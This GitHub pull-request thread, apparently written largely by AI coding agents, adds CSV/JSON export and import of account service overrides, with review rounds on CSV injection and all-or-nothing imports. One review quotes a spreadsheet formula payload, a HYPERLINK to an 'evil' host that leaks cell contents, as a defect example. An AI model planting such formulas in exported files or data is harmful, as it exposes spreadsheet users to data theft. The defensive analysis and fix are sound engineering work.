[IAmJSD]

Refs #9. This PR does the export and import; the per-row audit-log entry that #9 also asks for is tracked in a separate follow-up issue, so #9 stays open.

Root cause

account_service_overrides could only be read and written one account and one service at a time (GET/PUT/DELETE /api/accounts/{id}/service-overrides/...). So there was no way to back up the override state, diff it over time, or copy it into another environment or tenant.

Fix

Backend (internal/api):

• GET /api/accounts/service-overrides/export (view:accounts) returns every override on the accounts the caller's scope allows. The default is JSON ({version, exported_at, overrides}); ?format=csv returns CSV. Rows are sorted by provider, external ID and service, so two exports diff cleanly. Each row carries account_id, account_name, account_external_id, provider, service, every override field, created_at and updated_at. In CSV, list cells are joined with ; and an empty cell means unset. Every text cell (account name and external ID, provider, service, payment, ramp_schedule and the six include/exclude lists) that starts with = + - @, tab, CR or ' gets a ' prefix to block CSV injection. Import strips exactly that prefix again, so an exported value round-trips to the stored one; a ' before any other character is not an escape and is kept. Numbers, booleans and timestamps are formatted by the server and are written as is.
• POST /api/accounts/service-overrides/import (update:accounts, AuthAdmin) takes {mode, dry_run, overrides | csv}, with 1 to 5000 rows.
  • Account matching (the issue's portability concern): account_id first, else provider + account_external_id, so a file exported from another tenant imports. An account outside the caller's scope reads as unknown. A provider or external-ID mismatch, an ambiguous external ID, or a duplicate row is rejected.
  • Validation: config.ServiceConfig.Validate, which covers provider, term 1/3, the provider-specific payment token and coverage 0..100 (NaN rejected). It also checks the service-name format, runs the PUT endpoint's commitment-option check, and checks the column bounds: ramp_schedule at most 32 characters (VARCHAR(32)), coverage at most 2 decimal places (DECIMAL(5,2)), and no control characters in ramp_schedule or any list value (Postgres refuses NUL in TEXT). A row outside a bound is rejected with a reason, never sent to the database.
  • Semantics: each row is the desired state of its override, so an unset field clears that field. Overrides that are not in the file stay as they are, so nothing is deleted.
  • strict (the default) writes nothing if any row is rejected, and answers 400 with the report in details.report. best_effort writes the valid rows. dry_run only reports. The report gives each row's action (insert / update / unchanged / rejected) and the reason for any rejection.
  • The writes run in one transaction (WithTx + SaveAccountServiceOverrideTx), so a store failure rolls the whole import back and nothing is written. Writes are upserts, so re-running an import is safe.
• Both endpoints and their schemas are in openapi.yaml.

Frontend: a "Service Override Backup" panel under Admin -> Accounts. It has Export JSON and Export CSV buttons. To import, you pick a .json or .csv export, choose "All rows or none" or "Skip rejected rows", and Preview (a dry run). Import then asks for confirmation. The per-row report shows as status badges with reasons.

Not done here, tracked separately: issue #9 asks for a config_audit_events entry per imported row "the same as a UI edit". The override PUT/DELETE endpoints write no audit events today either, so import behaves like the existing PUT on this point. Auditing overrides (import, PUT and DELETE) is tracked in a separate follow-up issue, which is why this PR refs #9 instead of closing it.

Verification

• Go tests: 13 new tests in handler_override_transfer_test.go and handler_override_import_test.go, run against an in-memory store with the real auth decision code.
  • Export then re-import is all "unchanged" with no writes, for both JSON and CSV.
  • A cross-tenant row matched by external ID.
  • A desired-state update keeps the stored row's ID and clears fields.
  • A strict refusal returns the report and writes nothing. Best effort applies 2 valid rows out of 10 and gives a reason for each of the 8 rejections (duplicate, wrong payment token, provider mismatch, out of scope, coverage range, external-ID mismatch, service name, term).
  • Dry run, malformed requests, NaN coverage in CSV, and the update:accounts gate.
  • CSV injection: every text cell of an export is neutralised and decodes back to the stored value; a formula-valued override re-imports as unchanged; a quote that is not an escape is kept.
  • Strict import of 40 rows whose row 40 has a 33-character ramp_schedule: 400 with the per-row report, nothing written. A store failure on row 40 (strict and best_effort): nothing written. Coverage precision and control characters are rejected with reasons.
  • Route precedence over the /api/accounts/ prefix routes, and the existing OpenAPI route-coverage test.
• Go checks: go test -race -short ./internal/api and -tags integration ./internal/api pass. build, vet (plain, integration, e2e): pass. golangci-lint v2.10.1, with and without integration: 0 issues. gocyclo: no new function over 9.
• Frontend: 11 new jest tests in override-transfer.test.ts. lint (0 errors, warnings unchanged at 141), typecheck, build, full jest (4515 passed) and Playwright via e2e-local.sh (267 passed) all pass.
• I checked an after-screenshot of the panel with a preview report.
• Secrets scan clean (planted key flagged). scripts/test-git-secrets-allowlist.sh: 183 PASS.

Postgres: TestImportOverrides_StrictIsAllOrNothingPostgres (integration) runs the import against a migrated database: the 33-character row is a 400 with no rows written, a trigger that refuses row 40 rolls back rows 1-39, and the clean import then writes all 40. Frontend follow-up: cristim owns the UI, so the panel's layout and wording are open to his preference.

🤖 Generated with Claude Code

[coderabbitai]

Warning

Review limit reached

• Run on-demand review

_{This review includes 20 billable files and costs up to $5.00.}

Or wait 59 minutes for your next included review.

Check out review usage here.

View limit details

Limit details: You’ve used the included review currently available.

Learn how review limits work.

Review configuration:

Run configuration

• Source mode: Auto
• Repository: LeanerCloud/cloud-commitments-platform
• Branch: main
• File: .coderabbit.yaml
• Commit: df0de7e
• Layers: Repository YAML
• Review profile: CHILL
• Plan: Advanced
• Run ID: b8b787e6-a8ed-4a15-af3a-d54f02a06fc8

Commits

Reviewing files that changed from the base of the PR and between df0de7e and c268232.

Files selected for processing: 20

• frontend/src/__tests__/override-transfer.test.ts
• frontend/src/api/accounts.ts
• frontend/src/api/index.ts
• frontend/src/index.html
• frontend/src/modules/override-transfer.ts
• frontend/src/settings.ts
• frontend/src/styles/settings.css
• internal/api/handler_override_import.go
• internal/api/handler_override_import_integration_test.go
• internal/api/handler_override_import_test.go
• internal/api/handler_override_transfer.go
• internal/api/handler_override_transfer_test.go
• internal/api/openapi.yaml
• internal/api/override_account_index.go
• internal/api/override_transfer.go
• internal/api/override_transfer_csv.go
• internal/api/router.go
• internal/config/interfaces.go
• internal/config/store_postgres.go
• internal/mocks/stores.go

• Autofix · Keep fixing CodeRabbit findings and required CI, and resolving merge conflicts

_{Comment @coderabbitai help to get the list of available commands.}

[IAmJSD]

Pushed 48bdb4e: 8 commits adding override export/import (backend, OpenAPI, tests and the Admin -> Accounts panel), as described in the PR body.

[IAmJSD]

Merged origin/main (now includes #1466) into the branch with no conflicts and no other changes. New head: f2f2ebdaeb0a6b0caab8037d317ac975d2841845. This gives CI a fresh run after the earlier Playwright "Install Chromium" infrastructure flake.

Local checks on the merged tree: build, vet (default, integration, e2e), golangci-lint with and without the integration tag, gocyclo, go test -race short and integration for internal/api, frontend tsc, eslint (0 errors) and jest (173 suites pass), and the secrets scan. All pass.

[IAmJSD]

Independent review (IAmJSD's agent, fresh context, given only the diff, the issue and the PR text): VERDICT: REQUEST_CHANGES f2f2ebdaeb0a6b0caab8037d317ac975d2841845

Blocking:

• internal/api/override_transfer_csv.go:47-59 (overrideCSVRecord / csvSafeText): the CSV export only neutralises formulas in account_name. The comment says "Only the account name is free text", but that's not true. ramp_schedule and all six include_*/exclude_* lists are free text: neither PUT /api/accounts/{id}/service-overrides/... (applyOverrideSlices) nor this PR's import (validateOverrideRow) checks them.
  • Failure scenario: a user with update:accounts on one account stores include_types: ["=HYPERLINK(\"https://evil/?\"&A1,\"x\")"], either by a PUT or by importing a file. An admin later clicks Export CSV and opens the file in a spreadsheet, and the cell runs as a formula.
  • I confirmed with a scratch test: encodeOverridesCSV writes RampSchedule="=HYPERLINK(...)" and IncludeTypes=["=1+2"] as "=HYPERLINK(""http://x"",""y"")" and =1+2, unescaped.
  • Fix: reject leading = + - @ \t \r in those values on import (and ideally on PUT), or prefix every non-fixed-format cell on export. If you prefix, decode must strip the prefix again, because unlike the name these cells round-trip into stored data.
• internal/api/handler_override_import.go:251-264 (applyOverrideImport) plus missing ramp_schedule validation: strict mode can still write part of a file.
  • ramp_schedule is VARCHAR(32) (000011) and nothing validates its length.
  • Failure scenario: a strict import whose row 40 has a 33-character ramp_schedule passes planning with 0 rejections. It writes rows 1-39, then the upsert fails and the request answers 500 with no report. That's the opposite of feat(api): CSV/JSON import + export of account_service_overrides #9's "Strict mode: ... Don't apply any rows" and of the body's "strict (the default) writes nothing if any row is rejected".
  • Fix: validate the column bounds in validateOverrideRow (ramp_schedule length, or its allowed values), so the row is reported as rejected. Better still, do the writes in one WithTx, so any store error rolls the whole strict import back.

Non-blocking:

• Audit events: feat(api): CSV/JSON import + export of account_service_overrides #9 lists "each imported row should generate the same config_audit_events entry as a UI edit" under Concerns, not under the acceptance criteria. The PR reasons that PUT/DELETE don't audit either, so this needs an owner call on whether Closes #9 is right or a follow-up issue is needed.
• coverage is DECIMAL(5,2), so a hand-written 33.333 stores as 33.33 and shows as "update" on every re-import, never "unchanged". Consider rejecting more than 2 decimals, as StepCapCents does for the step cap.
• overrideTransferRows issues one ListAccountServiceOverrides per scoped account (N+1). That's fine at today's account counts, but a single query would scale better.
• No Postgres-backed test of import, as the body says. A testcontainers test would also have caught the VARCHAR(32) partial write above.

Attacked:

• Auth and scope:
  • Export: view:accounts plus scope.Allows(ID, Name), the same rule as requireAccountAccess.
  • Import: AuthAdmin route plus update:accounts plus an index of in-scope accounts only. An out-of-scope or other-tenant ID reads as unknown and falls back to provider + external ID within scope.
  • Route precedence over the /api/accounts/ prefix routes.
  • The frontend renders server reasons with textContent (no XSS).
• Validation parity with PUT: ServiceConfig.Validate accepts unset term/payment/coverage. The commitment-option 503 aborts the whole import rather than becoming a rejection, which is fine.
• Ran:
  • go build ./...; go vet with and without -tags integration on internal/api.
  • go test -race -short -count=1 ./internal/api (pass), including the 13 new override tests.
  • Frontend: npm ci, then jest src/__tests__/override-transfer.test.ts (11 pass), tsc --noEmit and eslint on the changed files (clean).
• This is a feature PR, so there's no fail-before.

Body-stale:

• "Formula-like account names get a ' prefix to block CSV injection": the account name is protected, but the other free-text cells aren't (see Blocking).
• "strict (the default) writes nothing if any row is rejected": a row the database refuses is written around, not rejected (see Blocking).

_{Reviewer: rE7. Bar while the maintainers are away (set by IAmJSD as acting owner): one approving independent review on the head, two for money, auth and security paths.}

[IAmJSD]

Fixes for rE7's REQUEST_CHANGES on f2f2ebdaeb0a6b0caab8037d317ac975d2841845. New head: c268232010f245ec59c87f4b0a93a4c714bdd039 (merged origin/main, two fix commits, then merged origin/main again for #1464 and #1491; all checks rerun on the final tree).

Blocking 1, CSV injection in cells other than the account name (d9f183f1)

• Every text cell is now escaped on export, not only account_name: account_id, account_external_id, provider, service, payment, ramp_schedule and all six include_*/exclude_* cells. The repo had no CSV-escape helper apart from this PR's csvSafeText, so that helper is extended. It uses the OWASP prefix: a cell starting with = + - @, tab or CR gets a leading '.
• Round trip: a cell that starts with ' is escaped too, so the encoding can be reversed. Import (csvUnescapeText) drops one ' when the next character is a formula lead or another ', which gives back the stored value. A ' before any other character can't come from the exporter, so it's kept as data. Numbers, booleans and timestamps are formatted by the server and written unchanged.
• The import side doesn't reject these values. The exported file is the risk, and the escape covers it. Values that PUT already stored still round-trip.
• Tests:
  • TestOverridesCSV_NeutralizesEveryTextCellAndRoundTrips: no text cell starts with a formula character, and decode returns the original fields.
  • TestImportOverrides_CSVWithFormulaValuesReimportsUnchanged: your =HYPERLINK(...) and =1+2 values are escaped in the export and re-import as unchanged.
  • TestOverridesCSV_KeepsAQuoteThatIsNotAnEscape.

Blocking 2, strict import could write part of a file (978259a7)

• Planning now checks every column bound that the service-config rules don't cover. Provider, service, payment and term were already bounded by those rules. New checks:
  • ramp_schedule at most 32 characters (VARCHAR(32), counted in characters, not bytes).
  • coverage at most 2 decimals (DECIMAL(5,2); this was your non-blocking point too, and the value now can't show "update" on every re-import).
  • no control characters in ramp_schedule or any list value (Postgres refuses NUL in TEXT).
• A value outside a bound is a per-row rejection, so strict mode answers 400 with details.report.
• The writes now run in one WithTx transaction through a new SaveAccountServiceOverrideTx (store, interface and mock). Any store error rolls back the whole import, in both strict and best_effort, and returns a 500 that names the failing row.
• Tests:
  • TestImportOverrides_StrictLateOverlongRampWritesNothing: 40 rows, row 40 has a 33-character ramp_schedule. Result is a 400 with a 40-row report, row 40 rejected with its reason, nothing written.
  • TestImportOverrides_StoreFailureRollsBackEveryWrite: the store fails on row 40, nothing is written.
  • TestImportOverrides_RejectsValuesOutsideColumnBounds.
  • TestImportOverrides_StrictIsAllOrNothingPostgres (integration, real Postgres, covering your non-blocking point about the missing DB-backed test):
    • The 33-character row returns 400 and the table stays empty.
    • A trigger that refuses row 40 rolls back rows 1-39.
    • Without the trigger, all 40 rows are written.

Fail-before / pass-after

• I copied the new test files onto f2f2ebda. These fail there:
  • StrictLateOverlongRampWritesNothing
  • StoreFailureRollsBackEveryWrite (strict and best_effort)
  • all 5 RejectsValuesOutsideColumnBounds cases
  • NeutralizesEveryTextCellAndRoundTrips
  • CSVWithFormulaValuesReimportsUnchanged
  • the Postgres test, with got accounts: import stopped after 39 of 40 writes: ... value too long for type character varying(32) (SQLSTATE 22001), which is your scenario.
• All of them pass on the new head.

Non-blocking

• Audit events: the PR body now says Refs #9 instead of Closes #9. Per-row auditing (with PUT/DELETE) is tracked in a separate follow-up issue.
• Coverage decimals: fixed (see above).
• N+1 ListAccountServiceOverrides in export: left as is for now. It's one query per scoped account, and those counts are small today.
• Body-stale lines: updated (the CSV escaping description, plus strict mode and the transaction).

Checks on c268232010f245ec59c87f4b0a93a4c714bdd039

• go build ./... and go vet (plain, -tags integration, e2e): pass.
• golangci-lint v2.10.1 on api/config/mocks, with and without --build-tags integration: 0 issues.
• gocyclo -over 10 on the changed files: none.
• go test -race -short on ./internal/api/... ./internal/config/... ./internal/mocks/...: pass.
• go test -race -tags integration on ./internal/api/ and ./internal/config/: pass (api 266s, config 189s).
• Secrets scan: clean, planted key flagged. scripts/test-git-secrets-allowlist.sh: 183 PASS.

[IAmJSD]

The audit-log part of #9 (an audit entry per imported row, and for single override PUT/DELETE, which don't write one today) is tracked in #1493.

[IAmJSD]

Independent review (IAmJSD's agent, fresh context, given only the diff, the issue and the PR text): VERDICT: APPROVE c268232010f245ec59c87f4b0a93a4c714bdd039

Blocking:

• none

Non-blocking:

• internal/api/handler_override_import.go:225 validateOverrideRow runs config.ServiceConfig.Validate, but the existing PUT .../service-overrides/... (handler_accounts.go saveAccountServiceOverride) only runs the commitment-option check. An override saved through PUT with, say, an Azure row carrying an AWS payment token, or a term of 2, exports fine and is then rejected on re-import. So "export, then re-import is all unchanged" only holds for rows the PUT path happened to store valid. Strict mode is fail-safe here (nothing is written). Worth a line in the docs, or a follow-up to make PUT validate the same way.
• internal/api/override_transfer_csv.go overrideRowFromCSV/splitCSVList: the CSV form does not round-trip every stored value. A list value containing ; comes back split into two values. Leading or trailing whitespace on a text cell or list value is trimmed. A stored payment: "" (a non-nil empty pointer, which PUT can write) comes back as nil and reads as update. These are all edge data, and JSON round-trips them exactly.
• CSV desired-state footgun: column order is free and columns may be left out, and a left-out column is read as "unset" and clears that field. A hand-made CSV with only account_id,provider,service,coverage therefore wipes enabled/term/payment/lists on every row it touches. The confirm dialog says so, but the API could require the full header (or at least every field column) to make this explicit.
• internal/api/handler_override_transfer.go:75 overrideTransferRows makes one ListAccountServiceOverrides query per in-scope account (N+1). That's fine at today's sizes, but it grows with org-discovered account counts.
• frontend/src/api/accounts.ts exportAccountServiceOverridesCSV calls fetch directly, so it gets neither apiRequest's 90 s timeout nor its server-error-message handling.
• Interaction with fix(auth): bind group account scope entries to account IDs #1116: scopedAccounts calls scope.Allows(acct.ID, acct.Name). fix(auth): bind group account scope entries to account IDs #1116 keeps that signature but stops name entries matching, so whichever of the two merges second still compiles. Export and import scoping then follow the new ID-only rule automatically, so nothing needs to change here.

Attacked:

• Scope: export and import both build their account set from getAccountScope + Allows(ID, Name), the same check requireAccountAccess uses. An out-of-scope account is absent from the import index, so naming it by account_id or by external ID reads as unknown and doesn't leak that it exists. A foreign/out-of-scope account_id combined with an in-scope external ID resolves only to the in-scope account. The route is AuthAdmin plus in-handler update:accounts, which matches PUT.
• Strict/dry-run/transaction semantics checked by reading the code and by mutation probes. Each of these mutations was killed by at least one test: scope filter forced true, CSV unescape removed, strict gate removed, checkResolvedAccount bypassed, dry_run ignored, WithTx replaced by a direct call.
• Ran on c268232: go build ./...; go vet (plain and -tags integration) on internal/api, internal/config, internal/mocks; go test -race -short -count=1 on those three; go test -race -tags integration -count=1 ./internal/api/ (includes the Postgres all-or-nothing test with the row-40 trigger); -tags integration -run Override ./internal/config/. All pass. Frontend jest was not run (no node_modules in a scratch tree).

Body-stale:

• "13 new tests in handler_override_transfer_test.go and handler_override_import_test.go": there are 19 (7 + 12).
• "tracked in a separate follow-up issue": that issue exists as feat(audit): record config_audit_events for account service override writes (single and import) #1493. Naming it in the body would help.

_{Reviewer: rE9. Bar while the maintainers are away (set by IAmJSD as acting owner): one approving independent review on the head, two for money, auth and security paths.}

[IAmJSD]

Local verification at c268232010f245ec59c87f4b0a93a4c714bdd039 merged onto main (0242dbd0), together with #1116, #1486 in that order (combined tree cf76f566, Linux, Go 1.26.10): go build ./..., go vet with and without -tags integration, the full go test -race -short -count=1 ./..., and go test -race -tags integration -count=1 on every changed package, against Docker Postgres. All pass. CI Success and pre-commit are green on this head, with 1 approving independent review(s) on it. Nothing was run against any cloud.

[IAmJSD]

Merged by IAmJSD's agent at IAmJSD's request (IAmJSD is acting owner while the maintainers are away), under the bar IAmJSD set: 1 approving independent review(s) on c2682320, green CI, and the combined-tree verification above. Squash-merged at exactly c268232010f245ec59c87f4b0a93a4c714bdd039.